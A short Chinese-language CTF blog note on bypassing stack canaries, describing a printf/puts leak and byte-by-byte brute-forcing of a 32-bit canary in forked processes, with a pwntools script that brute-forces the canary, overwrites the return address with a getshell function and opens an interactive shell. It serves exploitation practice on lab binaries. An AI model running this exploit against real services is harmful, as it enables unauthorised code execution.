每遇到一种方法就补充一种
1.通过printf和puts遇到\x0才会输出停止的特性,来获得canary
64位的canary溢出在这篇博客里面有提到,32位也差不多,注意是rjust就行
2.爆破canary,这里有典型的特征
fork函数会直接拷贝父进程的内存,所以通过fork函数创建的子进程中的canary是相同的!!!
32位中,canary有4字节,其中最低位为0x00,然后逐字节爆破其余3位
核心代码附上:
#32位爆破canary
from pwn import *
import re
import time
context.log_level = 'debug'
conn = process('./canary')
#conn = remote("121.41.53.189",37265)
getshell = 0x080492EA
canary = b'\x00'
conn.recvuntil(b'Can you find me ? \n')
for i in range(3):
for j in range(256):
payload = b'a' * (0x80) + canary + p8(j)
conn.send(payload)
time.sleep(0.01)
res = conn.recvuntil(b"Can you find me ? \n")
if ( b"stack smashing detected" not in res):
print(f'the {i} is {hex(j)}')
canary += p8(j)
break
print(canary)
sleep(1)
# 第二次溢出
payload2 = b'a' * (0x80) + canary
payload2 += b'a'*0xc + p32(getshell)
conn.send(payload2)
conn.interactive()
具体这道题目呢,可以看我的这篇两校"联合杯"的博客(还没有写,后续有时间写)